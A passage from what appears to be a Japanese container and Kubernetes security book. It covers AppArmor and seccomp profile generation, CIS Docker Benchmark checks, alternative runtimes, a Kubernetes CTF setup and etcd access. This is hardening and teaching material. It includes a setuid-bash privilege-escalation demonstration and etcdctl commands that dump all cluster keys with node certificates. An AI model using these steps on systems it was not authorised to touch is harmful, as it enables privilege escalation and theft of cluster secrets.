    "content": "# AppArmor\n\nAppArmor はコンテナが侵害されて各保護レイヤを突破された場合に最後の砦となります。そのため、アプリケーションに適したプロファイルを適用することでコンテナをセキュアに運用することができます。  \n一方で、AppArmor はシンタックスが複雑であったり、アプリケーションがどのファイルにアクセスしているか把握する必要があったりなど、プロファイルを生成するコストがかかるという面もあります。\n\nここでは AppArmor プロファイルを比較的簡単に生成する方法を紹介します。\n\n## `docker diff` で変更されたファイルを一覧する\n\n`docker diff` を使うことで変更されたファイルやディレクトリを取得することができます。例えば nginx コンテナを起動し、 `docker diff` を実行することで次のようなリストを取得することができます。\n\n```sh\nubuntu@sandbox:~$ docker run --rm -it nginx:latest\n...\n\nubuntu@sandbox:~$ docker ps\nCONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS               NAMES\nae9a66bf223e        nginx:latest        \"/docker-entrypoint.…\"   3 minutes ago       Up 3 minutes        80/tcp              sweet_archimedes\nubuntu@sandbox:~$ docker diff ae9a\nC /run\nA /run/nginx.pid\nC /var\nC /var/cache\nC /var/cache/nginx\nA /var/cache/nginx/proxy_temp\nA /var/cache/nginx/scgi_temp\nA /var/cache/nginx/uwsgi_temp\nA /var/cache/nginx/client_temp\nA /var/cache/nginx/fastcgi_temp\nC /etc\nC /etc/nginx\nC /etc/nginx/conf.d\nC /etc/nginx/conf.d/default.conf\n```\n\nただし、これは **変更があったファイル** を表示するだけなので `open` や `read` されたファイルは取得することができません。  \nそのため、それらのファイル一覧を取得するには eBPF などを用いてイベントトレースするなどの方法があります。  \n\n例えば [opensnoop.py][1] 相当の機能を持たせた上で、コンテナのイベントのみ表示するようにすると、次のように開いたファイル一覧を取得することができます。\n\n```sh\n$ sudo ./cxray\n{\"data\":{\"container_id\":\"4604f9e03\",\"event\":{\"name\":\"open\",\"data\":{\"comm\":\"bash\",\"fname\":\"/\",\"pid\":\"1800\",\"ret\":\"3\",\"uid\":\"0\"}}},\"level\":\"info\",\"msg\":\"\",\"time\":\"2020-11-15T15:31:40+09:00\"}\n{\"data\":{\"container_id\":\"4604f9e03\",\"event\":{\"name\":\"open\",\"data\":{\"comm\":\"cat\",\"fname\":\"/etc/ld.so.cache\",\"pid\":\"2371\",\"ret\":\"3\",\"uid\":\"0\"}}},\"level\":\"info\",\"msg\":\"\",\"time\":\"2020-11-15T15:31:41+09:00\"}\n{\"data\":{\"container_id\":\"4604f9e03\",\"event\":{\"name\":\"open\",\"data\":{\"comm\":\"cat\",\"fname\":\"/lib/x86_64-linux-gnu/libc.so.6\",\"pid\":\"2371\",\"ret\":\"3\",\"uid\":\"0\"}}},\"level\":\"info\",\"msg\":\"\",\"time\":\"2020-11-15T15:31:41+09:00\"}\n{\"data\":{\"container_id\":\"4604f9e03\",\"event\":{\"name\":\"open\",\"data\":{\"comm\":\"cat\",\"fname\":\"/etc/passwd\",\"pid\":\"2371\",\"ret\":\"3\",\"uid\":\"0\"}}},\"level\":\"info\",\"msg\":\"\",\"time\":\"2020-11-15T15:31:41+09:00\"}\n```\n\n## AppArmor プロファイルを簡単に生成する\n\nAppArmor プロファイルのシンタックスが難解なため、意図しない設定をしてしまうことがあります。  \nそこで [genuinetolls/bane][2] というツールを紹介します。\n\nこれは TOML ファイルに禁止するコマンドやファイルパスを記述するだけで AppArmor プロファイルを生成するツールです。\n\n例えば次のような TOML ファイルを用意します。\n\n```toml\nName = \"sample\"\n\n[Filesystem]\n# read only paths for the container\nReadOnlyPaths = [\n\t\"/bin/**\",\n\t\"/boot/**\",\n\t\"/dev/**\",\n\t\"/etc/**\",\n\t\"/home/**\",\n\t\"/lib/**\",\n\t\"/lib64/**\",\n\t\"/media/**\",\n\t\"/mnt/**\",\n\t\"/opt/**\",\n\t\"/proc/**\",\n\t\"/root/**\",\n\t\"/sbin/**\",\n\t\"/srv/**\",\n\t\"/tmp/**\",\n\t\"/sys/**\",\n\t\"/usr/**\",\n]\n\n# paths where you want to log on write\nLogOnWritePaths = [\n\t\"/**\"\n]\n\n# paths where you can write\nWritablePaths = [\n\t\"/var/run/nginx.pid\"\n]\n\n# allowed executable files for the container\nAllowExec = [\n\t\"/usr/sbin/nginx\"\n]\n\n# denied executable files\nDenyExec = [\n\t\"/bin/dash\",\n\t\"/bin/sh\",\n\t\"/usr/bin/top\"\n]\n```\n\n`bane` を使用すると AppArmor プロファイルを生成し、 `apparmor_parser` を実行してくれます。\n\n```sh\nubuntu@bpf:~$ sudo ./bane sample.toml\nProfile installed successfully you can now run the profile with\n`docker run --security-opt=\"apparmor:docker-sample\"`\nubuntu@bpf:~$ docker run --rm -it --security-opt=\"apparmor:docker-sample\" nginx:latest bash\nroot@03b91bd97550:/# /bin/dash\nbash: /bin/dash: Permission denied\nroot@03b91bd97550:/# sh\nbash: /bin/sh: Permission denied\n```\n\nまた、`docker-slim` を使って生成することも可能です。`docker-slim` のインストールは [ドキュメント][3] を参照してください。  \n\n`docker-slim build` を実行し適当にコンテナの中でコマンドを実行します。今回は HTTP ポートを Expose しないため `--http-probe=false` を与えています。\n\n```sh\nubuntu@vm:~/$ ./docker-slim build ubuntu:latest --http-probe=false\ndocker-slim: message='join the Gitter channel to ask questions or to share your feedback' info='https://gitter.im/docker-slim/community'\ndocker-slim: message='join the Discord server to ask questions or to share your feedback' info='https://discord.gg/9tDyxYS'\ndocker-slim[build]: info=probe message='changing continue-after from probe to enter because http-probe is disabled'\ndocker-slim[build]: state=started\ndocker-slim[build]: info=params target=ubuntu:latest continue.mode=enter rt.as.user=true keep.perms=true\ndocker-slim[build]: state=image.inspection.start\ndocker-slim[build]: info=image id=sha256:9140108b62dc87d9b278bb0d4fd6a3e44c2959646eb966b86531306faa81b09b size.bytes=72875723 size.human=73 MB\ndocker-slim[build]: info=image.stack index=0 name='ubuntu:latest' id='sha256:9140108b62dc87d9b278bb0d4fd6a3e44c2959646eb966b86531306faa81b09b'\ndocker-slim[build]: state=image.inspection.done\ndocker-slim[build]: state=container.inspection.start\ndocker-slim[build]: info=container status=created name=dockerslimk_6887_20201115065250 id=efa234652587e1367e9572b72abf534eb4e8190c603c5a46e77177a0a78094bd\ndocker-slim[build]: info=cmd.startmonitor status=sent\ndocker-slim[build]: info=event.startmonitor.done status=received\ndocker-slim[build]: info=container name=dockerslimk_6887_20201115065250 id=efa234652587e1367e9572b72abf534eb4e8190c603c5a46e77177a0a78094bd target.port.list=[] target.port.info=[] message='YOU CAN USE THESE PORTS TO INTERACT WITH THE CONTAINER'\ndocker-slim[build]: info=continue.after mode=enter message='provide the expected input to allow the container inspector to continue its execution'\ndocker-slim[build]: info=prompt message='USER INPUT REQUIRED, PRESS <ENTER> WHEN YOU ARE DONE USING THE CONTAINER'\n\ndocker-slim[build]: state=container.inspection.finishing\ndocker-slim[build]: state=container.inspection.artifact.processing\ndocker-slim[build]: state=container.inspection.done\ndocker-slim[build]: state=building message='building optimized image'\ndocker-slim[build]: state=completed\ndocker-slim[build]: info=results status='MINIFIED BY 9.95X [72875723 (73 MB) => 7322511 (7.3 MB)]'\ndocker-slim[build]: info=results  image.name=ubuntu.slim image.size='7.3 MB' data=true\ndocker-slim[build]: info=results  artifacts.location='/home/ubuntu/dist_linux/.docker-slim-state/images/9140108b62dc87d9b278bb0d4fd6a3e44c2959646eb966b86531306faa81b09b/artifacts'\ndocker-slim[build]: info=results  artifacts.report=creport.json\ndocker-slim[build]: info=results  artifacts.dockerfile.original=Dockerfile.fat\ndocker-slim[build]: info=results  artifacts.dockerfile.new=Dockerfile\ndocker-slim[build]: info=results  artifacts.seccomp=ubuntu-seccomp.json\ndocker-slim[build]: info=results  artifacts.apparmor=ubuntu-apparmor-profile\ndocker-slim[build]: state=done\ndocker-slim[build]: info=report file='slim.report.json'\ndocker-slim: message='join the Gitter channel to ask questions or to share your feedback' info='https://gitter.im/docker-slim/community'\ndocker-slim: message='join the Discord server to ask questions or to share your feedback' info='https://discord.gg/9tDyxYS'\n```\n\n実行を終了すると、上記メッセージにあるように `/home/ubuntu/dist_linux/.docker-slim-state/images/9140108b62dc87d9b278bb0d4fd6a3e44c2959646eb966b86531306faa81b09b/artifacts/ubuntu-apparmor-profile` に AppArmor プロファイルが生成されます。  \n\nこのようにツールの手助けを借りると簡単にプロファイルを生成することができます。\n\n[1]: https://github.com/iovisor/bcc/blob/master/tools/opensnoop.py \"https://github.com/iovisor/bcc/blob/master/tools/opensnoop.py\"\n[2]: https://github.com/genuinetools/bane \"https://github.com/genuinetools/bane\"\n[3]: https://github.com/docker-slim/docker-slim#installation \"https://github.com/docker-slim/docker-slim#installation\"\n"
  },
  {
    "path": "source/hardening/cis-benchmark.md",
    "content": "# CIS Benchmarks に準拠して Docker をセキュアにする\n\nCIS Benchmarks[^1] は CIS (Center For Internet Security) というインターネット・セキュリティの標準化に取り組んでいる団体が発行しているベストプラクティスのガイドラインです。  \nCIS Benchmarks の対象には OS の他に Apache などのミドルウェアがあり、Docker も含まれています。[^2]\n\nCIS Benchmarks の特徴として、項目の検査内容や対応が明確なため、ツールとして落とし込みやすいことです。既に docker-bench-security[^3] など、ツール化されているものがあるため、気軽に試すことができます。\n\n## docker-bench-security で CIS Benchmark に準拠する\n\ndocker-bench-security は CIS Docker Benchmark に準拠しているかを確認するツールです。  \n大きく分けて次の7点をチェックします。\n\n1. Host Configuration ... Docker daemon を実行しているホストの構成\n2. Docker daemon configuration ... Docker daemon の設定\n3. Docker daemon configuration files ... Docker daemon が利用するファイルのパーミッションなどの構成\n4. Container Images and Build File ... ビルド済みイメージのセキュリティ\n5. Container Runtimes ... コンテナランタイム\n6. Docker Security Operations ... コンテナ運用におけるベストプラクティス\n7. Docker Swarm Configuration ... Docker Swarm mode の設定\n\n実行方法は次のようなコマンドで、コンテナとして動かすことができます。\n\n```sh\nubuntu@sandbox:~$ docker run -it --net host --pid host --userns host --cap-add audit_control \\\n     -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \\\n     -v /etc:/etc:ro \\\n     -v /usr/bin/containerd:/usr/bin/containerd:ro \\\n     -v /usr/bin/runc:/usr/bin/runc:ro \\\n     -v /usr/lib/systemd:/usr/lib/systemd:ro \\\n     -v /var/lib:/var/lib:ro \\\n     -v /var/run/docker.sock:/var/run/docker.sock:ro \\\n     --label docker_bench_security \\\n     docker/docker-bench-security\n```\n\nするとレポートが出力されます。問題がなければ「PASS」と表示されますが、準拠していない場合は「WARN」と出力されます。\n\n```\n[INFO] 1 - Host Configuration\n[WARN] 1.1  - Ensure a separate partition for containers has been created\n[NOTE] 1.2  - Ensure the container host has been Hardened\n[INFO] 1.3  - Ensure Docker is up to date\n[INFO]      * Using 19.03.13, verify is it up to date as deemed necessary\n[INFO]      * Your operating system vendor may provide support and security maintenance for Docker\n[INFO] 1.4  - Ensure only trusted users are allowed to control Docker daemon\n[INFO]      * docker:x:999:ubuntu\n[WARN] 1.5  - Ensure auditing is configured for the Docker daemon\n[WARN] 1.6  - Ensure auditing is configured for Docker files and directories - /var/lib/docker\n[WARN] 1.7  - Ensure auditing is configured for Docker files and directories - /etc/docker\n...\n```\n\n例えば `1.5 Ensure auditing is configured for the Docker daemon` に対応するとしましょう。  \nCIS Benchmark を確認すると、これは Docker daemon に対して audit が有効になっていないことを指摘しています。rootless Docker でない場合、Docker daemon は root 権限で動作するため、audit 対象としてセキュリティログを集めておくのがよいでしょう。\n\nCIS Benchmark の Remediation 項目を確認すると auditd のルールに `-w /usr/bin/dockerd -k docker` を追加するという対応方法が記載されています。  \nそれに乗っ取り、対応を行い、Audit の項目のコマンドを実行して確認します。\n\n```\nubuntu@sandbox:~$ sudo auditctl -l | grep /usr/bin/dockerd\n-w /usr/bin/dockerd -p rwxa -k docker\n```\n\nこれで問題ないようです。再度 docker-bench-security を実行すると `[PASS]` になることが確認できます。\n\n## イメージをセキュアにする\n\nDocker イメージをセキュアにするには、[Docker イメージのセキュリティ](../security/image/README.md)で紹介した「機密情報を含ませない」「脆弱性のあるパッケージをアップデートする」以外にも、いくつか気をつけるべき点があります。  \nこれも CIS Benchmark に「4. Container Images and Build File Configuration」として基準が示されており、docker-security-bench でスキャンすることが可能です。  \nしかしながら docker-security-bench ではスコアとして計上されない Not Scored な項目がいくつか実装されていません。例えば次のような項目です。\n\n* 機密情報を Dockerfile に含めない\n* setuid / setgid されたバイナリの削除\n\nまた、CIS Benchmark で示されている基準以外にも `latest` タグを避ける、`sudo` コマンドを使用しないなどの観点もあります。  \nこれらを検出するために goodwithtech/dockle[^4] というツールがあるので、紹介します。\n\n例えば `nginx:latest` イメージに対して実行すると次のような結果を得ます。\n\n```\n$ dockle nginx:latest\nubuntu@sandbox:~$ dockle nginx:latest\nWARN    - CIS-DI-0001: Create a user for the container\n        * Last user should not be root\nWARN    - DKL-DI-0006: Avoid latest tag\n        * Avoid 'latest' tag\nINFO    - CIS-DI-0005: Enable Content trust for Docker\n        * export DOCKER_CONTENT_TRUST=1 before docker pull/build\nINFO    - CIS-DI-0006: Add HEALTHCHECK instruction to the container image\n        * not found HEALTHCHECK statement\nINFO    - CIS-DI-0008: Confirm safety of setuid/setgid files\n        * setuid file: bin/mount urwxr-xr-x\n        * setuid file: usr/bin/gpasswd urwxr-xr-x\n        * setgid file: usr/bin/expiry grwxr-xr-x\n        * setuid file: bin/su urwxr-xr-x\n        * setgid file: usr/bin/wall grwxr-xr-x\n        * setuid file: usr/bin/chfn urwxr-xr-x\n        * setuid file: usr/bin/newgrp urwxr-xr-x\n        * setuid file: usr/bin/chsh urwxr-xr-x\n        * setuid file: bin/umount urwxr-xr-x\n        * setgid file: sbin/unix_chkpwd grwxr-xr-x\n        * setgid file: usr/bin/chage grwxr-xr-x\n        * setuid file: usr/bin/passwd urwxr-xr-x\n```\n\n結果からは root ユーザーが使用されていたり、setuid されたバイナリが複数あることを確認できます。  \n\n---\n\n[^1]: https://www.cisecurity.org/cis-benchmarks/\n[^2]: https://www.cisecurity.org/benchmark/docker/\n[^3]: https://github.com/docker/docker-bench-security\n[^4]: https://github.com/goodwithtech/dockle\n"
  },
  {
    "path": "source/hardening/monitoring.md",
    "content": "# コンテナの監視\n\nTBD\n"
  },
  {
    "path": "source/hardening/no-new-privileges.md",
    "content": "# No New Privileges\n\nLinux カーネルには No New Privileges[^1] と呼ばれる、子プロセスが新しい特権を取得できないようにする仕組みがあります。\n\nsetuid されたバイナリがコンテナの中にある場合、権限昇格につながる可能性がありますが、docker では `security-opt=no-new-privileges:true` というフラグを付与することで、これを防止できます。\n\n次のように setuid された `mybash` を用意します。\n\n```shell\n$ cat Dockerfile\nFROM ubuntu:18.04\nRUN cp /bin/bash /bin/mybash && chmod +s /bin/mybash\nRUN useradd -ms /bin/bash newuser\nUSER newuser\nCMD [\"/bin/bash\"]\n```\n\n`no-new-privileges:false` の場合は `euid=0` で root 権限になっていることが確認できます。\n\n```shell\n$ docker run --security-opt=no-new-privileges:false -it --rm test:latest\nnewuser@3ee2685cd961:/$ id\nuid=1000(newuser) gid=1000(newuser) groups=1000(newuser)\nnewuser@3ee2685cd961:/$ /bin/mybash -p\nmybash-4.4# id\nuid=1000(newuser) gid=1000(newuser) euid=0(root) egid=0(root) groups=0(root)\n```\n\nここで `no-new-privileges:true` とすると新しいプロセスは特権を取得できないため、setuid されていても `euid=0` になることはありません。\n\n```shell\n$ docker run --security-opt=no-new-privileges:true -it --rm test:latest\nnewuser@80f241191a07:/$ /bin/mybash -p\nnewuser@80f241191a07:/$ id\nuid=1000(newuser) gid=1000(newuser) groups=1000(newuser)\n```\n\n[^1]: https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html \"https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html\"\n"
  },
  {
    "path": "source/hardening/runtime.md",
    "content": "# ランタイムセキュリティ\n\nコンテナのセキュリティはホストとの Isolation に依存します。もしランタイムやカーネルに脆弱性があった場合、コンテナからホスト側に Breakeout できる要因になってしまいます。  \n\nそこで、ランタイムを別のもの切り替えることでより強固にできるケースがあります。Docker はデフォルトで OCI ランタイムに runc を、CRI ランタイムに containerd を利用しますが、これらを gVisor や kata-containers などに切り替えることができます。\n\n## gVisor\n\ngVisor[^1] はコンテナのためのアプリケーションカーネルで、コンテナで発行されるシステムコールをトレースします。トレースされたシステムコールは gVisor によってフィルタ&置換されて実行されます。つまり、ホストカーネルのように振る舞うことで、ホストへの影響を小さくすることができています。  \n\n一方で、gVisor が対応していないシステムコールは発行することができないため、例えば tcpdump などを実行することが 2020/11/15 現在できません。  \nまた、システムコールをトレースするということは、それだけオーバーヘッドが生じます。\n\n## kata-containers\n\nkata-containers[^2] はコンテナを VM のような分離レベルで動かすランタイムです。コンテナは QEMU / KVM / Firecraker 上で動作し、ホストとカーネルを共有しないため、非常に強固と言えます。  \nこのような Virtualized Containers への攻撃手法については black hat USA 2020 - Escaping Virtualized Containers[^3] に詳しく書かれています。\n\n## Unikernel\n\nTBD\n\n---\n\n[^1]: https://gvisor.dev/\n[^2]: https://katacontainers.io/\n[^3]: https://i.blackhat.com/USA-20/Thursday/us-20-Avrahami-Escaping-Virtualized-Containers.pdf\n"
  },
  {
    "path": "source/hardening/seccomp.md",
    "content": "# seccomp\n\nAppArmor と同様に seccomp プロファイルもコンテナ上で動作するアプリケーションのイベントをトレースしなければ生成することが困難です。  \n発行されているシステムコールをトレースするには `strace` や eBPF が利用できますが、ここでも `docker-slim` を活用することができます。  \n\nAppArmor のときと同様に実行すると `home/ubuntu/dist_linux/.docker-slim-state/images/9140108b62dc87d9bb278bb0d4fd6a3e44c2959646eb966b86531306faa81b09b/artifacts/ubuntu-seccomp.json` に seccomp プロファイルが生成されます。\n\n生成された seccomp プロファイルを見ると、許可されるシステムコールが明示的に記述されていることが確認できます。\n\n```json\n{\n  \"defaultAction\": \"SCMP_ACT_ERRNO\",\n  \"architectures\": [\n    \"SCMP_ARCH_X86_64\"\n  ],\n  \"syscalls\": [\n    {\n      \"names\": [\n        \"getgid\",\n        \"read\",\n        \"setuid\",\n        \"dup3\",\n        \"getppid\",\n        ...\n      ],\n      \"action\": \"SCMP_ACT_ALLOW\",\n      \"includes\": {},\n      \"excludes\": {}\n    }\n  ]\n}\n```\n"
  },
  {
    "path": "source/introduction.md",
    "content": "# 1. コンテナの基礎技術\n\nLinux コンテナはホストと分離するために様々な Linux カーネルの仕組みを利用しています。  \n攻撃が生じる特定の領域に複数の保護レイヤを導入し、各レイヤは同種の攻撃に対して脆弱にならないような多層防御の仕組みが取られています。  \n本章ではその保護の仕組みについて取り上げます。\n\n## [Namespace](./namespace/README.md)\n\nLinux コンテナのリソース分離技術の要である Namespace について簡単に紹介します。\n\n## [chroot と pivot_root](./namespace/chroot-and-pivot_root.md)\n\nコンテナのファイルシステムを分離するために必要な2つの仕組み `chroot` と `pivot_root` について紹介します。  \nまた、chroot の問題点についても取り上げます。\n\n## [Capability](./capability/README.md)\n\nLinux において権限を柔軟に付与できる仕組みである Capability について紹介します。\n\n## [seccomp](./seccomp/README.md)\n\n呼び出されるシステムコールの制限を行う seccomp について紹介します。\n\n## [AppArmor](./lsm/apparmor.md)\n\nubuntu / debian などで、コンテナの保護機能の一つとして利用されている Linux Security Module である AppArmor について紹介します。\n\n## [cgroup](./cgroup/README.md)\n\nプロセスのリソース使用量を制限する仕組みである cgroup について紹介します。\n\n# 2. コンテナのセキュリティと攻撃例\n\nLinux コンテナの攻撃方法やそのセキュリティについて取り上げます。\n\n## [Breakout Container](./security/breakout-to-host.md)\n\nコンテナからホストに脱出することは Breakout / Jailbreak / Escape と呼ばれます。Privileged コンテナなど、過剰な権限を与えた場合にホスト側に Breakout できてしまうことを攻撃例を交えて紹介します。\n\n## [Sensitive file mount](./security/sensitive-file-mount.md)\n\n特定のファイルをマウントした場合にホスト側に Breakout できる攻撃例を紹介します。\n\n## [DoS](./security/DoS.md)\n\nコンテナからホスト側に対する DoS 攻撃例を紹介します。\n\n## [コンテナ実行権限を持つグループへユーザー追加することについて](./security/adding-a-user-to-group.md)\n\nDocker や LXD を操作するために一般ユーザーをそれぞれの実行権限を持つグループに追加した場合の危険性について紹介します。\n\n## [AppArmor Bypass](./security/apparmor-bypass.md)\n\nAppArmor のバイパス方法について紹介します。\n\n## [seccomp Bypass](./security/seccomp-bypass.md)\n\nseccomp のバイパス方法について紹介します。\n\n## [イメージレイヤへの機密情報の保存](./security/image/secrets-in-layer.md)\n\nイメージビルド時に機密情報をイメージに含めると、生成されたイメージから抽出することができるケースがあります。  \nイメージレイヤの仕組みと具体例について紹介します。\n\n## [イメージスキャナ](./security/image/scanner.md)\n\nDocker イメージに含まれるソフトウェアの脆弱性を検出するイメージスキャナと、スキャナ自体の脆弱性について紹介します。\n\n# 3. Hardening Container\n\nコンテナをより安全に実行するための方法について紹介します。\n\n## [No New Privileges](hardening/no-new-privileges.md)\n\n子プロセスが特権を獲得しないようにする No New Privileges について紹介します。\n\n## [AppArmor](hardening/apparmor.md)\n\nAppArmor のプロファイルの自動生成などについて紹介します。\n\n## [seccomp](hardening/seccomp.md)\n\nseccomp のプロファイルの自動生成などについて紹介します。\n\n## [runtime](hardening/runtime.md)\n\nランタイムやカーネルの脆弱性からホストを守るために containerd / runc 以外の CRI / OCI ランタイムについて紹介します。\n\n## [monitoring](hardening/monitoring.md)\n\nTBD\n\n## [CIS Benchmark](hardening/cis-benchmark.md)\n\nCIS Benchmark の紹介とツールを使った確認方法について紹介します。\n"
  },
  {
    "path": "source/kubernetes/hardening/README.md",
    "content": "TBD\n"
  },
  {
    "path": "source/kubernetes/hardening/secret-management.md",
    "content": "TBD\n"
  },
  {
    "path": "source/kubernetes/security/README.md",
    "content": "# Kubernetes Security\n\n本章ではコンテナのオーケストレーションツールである Kubernetes への攻撃例とその対策を紹介します。\n\n![Kubernetes クラスタにおける攻撃ベクターの例](./img/kubernetes-attack-vector.png)\n\nこの図は Kubernetes クラスタにおける攻撃ベクターを示しています。Kubernetes のコンポーネントもそうですが、Kubernetes クラスタでは CI / CD ツールやダッシュボードなども密に連携するものも多く、アクセスされるとクラスタの管理者権限を取得される可能性があるため、それらのアプリケーションへの認証認可も適切に設定する必要があります。  \nKubernetes では多数のコンポーネントが存在しており、ここに記載している以外の攻撃経路も当然あるため、クラスタに対する Attack Surface を知ることが重要です。\n\nその理解を助けるために Microsoft が作成している ATT&CK ライクな Kubernetes attack matrix が参考になります。[^1]\n\n![Kubernetes Attack Matrix from Microsoft](https://www.microsoft.com/security/blog/wp-content/uploads/2020/04/k8s-matrix.png)\n\n本章でここに記載されているすべての攻撃経路を紹介はできませんが、Kubernetes クラスタの設定ミスやコンテナが侵害された場合に焦点を当て、攻撃例とその対策を紹介します。\n\n---\n\n[^1]: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/\n"
  },
  {
    "path": "source/kubernetes/security/ctf.md",
    "content": "# CTF を通して学ぶ Kubernetes セキュリティ\n\nここまでで Linux コンテナと Kubernetes のセキュリティを学んできました。ここからは CTF(Capture The Flag) 形式のゲームを通してより実践的に学んでみましょう。  \n\n## kubectf の概要\n\nCTF とは与えられた問題を解き、特定のフォーマットを持つ文字列を探し当てるゲームです。[^1]  \n今回は演習のために [kubectf](https://github.com/mrtc0/kubectf) を用意しました。  \nkubectf は minikube で演習クラスタを手元の環境で作成します。namespace ごとに問題を用意しており、Kubernetes ノードあるいは同一 namespace のリソースのどこかに存在する Flag を見つけ出します。  \nkubectf では、ある Pod に侵入できたケースを想定し、 `victim` と名前がついたコンテナから問題に取り組みます。  \nですので、クラスタ管理者として Pod 外から manifest を変更したり、ノードに SSH してはいけません。あくまで攻撃者として脆弱な Pod に侵入し、そこから実行できる権限の範囲で取り組んでください。\n\n例えば次のように `treasure-hunt` という問題では `treasure-hunt` namespace に切り替え、 `victim` と名前がついた Pod に入り、その中で問題に取り組みます。\n\n```shell\n❯ kubens treasure-hunt\n\n❯ kubectl get pods\nNAME                              READY   STATUS    RESTARTS   AGE\ndocker-registry-6b5b55b44-zgvxf   1/1     Running   0          42m\nvictim-68bcd4465f-q4pkb           1/1     Running   0          42m\n\n# victim コンテナの中から問題に取り組む\n❯ kubectl exec -it victim-68bcd4465f-q4pkb sh\n/ #\n```\n\n## kubectf のセットアップ\n\nkubectf のセットアップに際し、以下のソフトウェアが必要です。\n\n* minikube\n* kubectl\n* Docker Engine\n\nこれらのソフトウェアのインストールはそれぞれのマニュアルをご参照ください。[^2]\n\nインストールが終わったら kubectf のリポジトリを clone し、インストールスクリプトを実行します。\n\n```shell\n$ git@git.pepabo.com:mrtc0/kubectf.git\n$ cd kubectf && ./setup.sh\n```\n\nインストールスクリプトの実行が終わり、全ての namespace で Pod が動いていることを確認してください。\n\n```shell\n❯ kubectl get ns\nNAME                    STATUS   AGE\ncan-you-keep-a-secret   Active   4d17h\ndefault                 Active   4d17h\ngatekeeper-system       Active   4d17h\nkube-node-lease         Active   4d17h\nkube-public             Active   4d17h\nkube-system             Active   4d17h\nmountme                 Active   4d17h\nmountme2                Active   4d17h\nsniff                   Active   41h\ntreasure-hunt           Active   4d17h\n\n❯ kubectl get pods --all-namespace\nNAMESPACE               NAME                                            READY   STATUS    RESTARTS   AGE\ncan-you-keep-a-secret   victim-56958dffc6-ddfhk                         1/1     Running   1          4d17h\ngatekeeper-system       gatekeeper-audit-7d99d9d87d-xqsnf               1/1     Running   2          4d17h\ngatekeeper-system       gatekeeper-controller-manager-f94cc7dfc-56f4v   1/1     Running   2          4d17h\ngatekeeper-system       gatekeeper-controller-manager-f94cc7dfc-5qfm4   1/1     Running   2          4d17h\ngatekeeper-system       gatekeeper-controller-manager-f94cc7dfc-b77rm   1/1     Running   3          4d17h\nkube-system             coredns-f9fd979d6-8tgk8                         1/1     Running   2          4d17h\nkube-system             etcd-minikube                                   1/1     Running   2          4d17h\nkube-system             kube-apiserver-minikube                         1/1     Running   2          4d17h\nkube-system             kube-controller-manager-minikube                1/1     Running   2          4d17h\nkube-system             kube-proxy-ljjkx                                1/1     Running   2          4d17h\nkube-system             kube-scheduler-minikube                         1/1     Running   2          4d17h\nkube-system             storage-provisioner                             1/1     Running   5          4d17h\nmountme                 victim-7c5745b4dc-t4hdw                         1/1     Running   2          4d17h\nmountme2                victim-7c5745b4dc-b2cmf                         1/1     Running   2          4d17h\nsniff                   client-66b6f5cdcf-v5n9j                         1/1     Running   0          15h\nsniff                   server-79b88f567-v4xsp                          1/1     Running   1          42h\nsniff                   victim-7f4dc947d5-b9npv                         1/1     Running   0          15h\ntreasure-hunt           docker-registry-6b5b55b44-2mm42                 1/1     Running   2          4d17h\ntreasure-hunt           victim-68bcd4465f-n7s2r                         1/1     Running   2          4d17h\n```\n\nこれで準備は OK です。問題の詳細等はリポジトリの各問題のディレクトリにある README を参照してください。\n\n---\n\n[^1] : Jeopardy 形式で多く利用されるルールです。他の形式の CTF もあり、それぞれルールが異なります。\n"
  },
  {
    "path": "source/kubernetes/security/etcd.md",
    "content": "# etcd\n\nKubernetes のコントロールプレーンには、クラスタの情報を格納する KV ストアとして etcd があります。\netcd はデフォルトでは 2379/tcp で API を提供しています。\n\n```shell\nroot@master1:/# ss -ntlp4 | grep etcd\nLISTEN    0         4096             127.0.0.1:2379             0.0.0.0:*        users:((\"etcd\",pid=11583,fd=6))\nLISTEN    0         4096            10.0.1.105:2379             0.0.0.0:*        users:((\"etcd\",pid=11583,fd=5))\nLISTEN    0         4096            10.0.1.105:2380             0.0.0.0:*        users:((\"etcd\",pid=11583,fd=3))\n```\n\n保管する情報には Secret リソースも含まれるため、適切なアクセス制御や暗号化を施す必要があります。  \n多くのクラスタ構築ツールでは外部公開せずに、TLS クライアント証明書による接続が必須になるように構成されます。\n\n## etcd の操作\n\netcd は API を介して操作することができます。\n\n```\nroot@master1:/# curl -s -k \\\n    --cert /etc/ssl/etcd/ssl/node-master1.pem \\\n    --key /etc/ssl/etcd/ssl/node-master1-key.pem \\\n    --cacert /etc/ssl/etcd/ssl/ca.pem \\\n    https://127.0.0.1:2379/version | jq\n{\n  \"etcdserver\": \"3.4.13\",\n  \"etcdcluster\": \"3.4.0\"\n}\n```\n\nまた、etcdctl を使って操作することもできます。etcd のバージョンによって API が異なるため、`ETCDCTL_API` 環境変数で利用するバージョンを指定する必要があります。  \nキーの一覧を取得すると Kubernetes クラスタのほとんどのリソースが含まれていることがわかります。\n\n```\nroot@master1:/# etcdctl \\\n    --cert /etc/ssl/etcd/ssl/node-master1.pem \\\n    --key /etc/ssl/etcd/ssl/node-master1-key.pem \\\n    --cacert /etc/ssl/etcd/ssl/ca.pem \\\n    --endpoints https://127.0.0.1:2379 \\\n    get / --prefix --keys-only\n\n/registry/apiextensions.k8s.io/customresourcedefinitions/bgpconfigurations.crd.projectcalico.org\n/registry/apiextensions.k8s.io/customresourcedefinitions/bgppeers.crd.projectcalico.org\n/registry/apiextensions.k8s.io/customresourcedefinitions/blockaffinities.crd.projectcalico.org\n...\n/registry/clusterrolebindings/calico-kube-controllers\n/registry/clusterrolebindings/calico-node\n/registry/clusterrolebindings/cephfs-csi-nodeplugin\n...\n/registry/clusterroles/admin\n/registry/clusterroles/calico-kube-controllers\n/registry/clusterroles/calico-node\n...\n/registry/configmaps/default/kube-root-ca.crt\n/registry/configmaps/kube-node-lease/kube-root-ca.crt\n/registry/configmaps/kube-public/cluster-info\n...\n/registry/controllerrevisions/kube-system/calico-node-f68f5dfc5\n/registry/controllerrevisions/kube-system/kube-proxy-5bd89cc4b7\n/registry/controllerrevisions/kube-system/nodelocaldns-84bfb6b45f\n...\n/registry/daemonsets/kube-system/calico-node\n/registry/daemonsets/kube-system/kube-proxy\n/registry/daemonsets/kube-system/nodelocaldns\n...\n/registry/deployments/kube-system/calico-kube-controllers\n/registry/deployments/kube-system/coredns\n/registry/deployments/kube-system/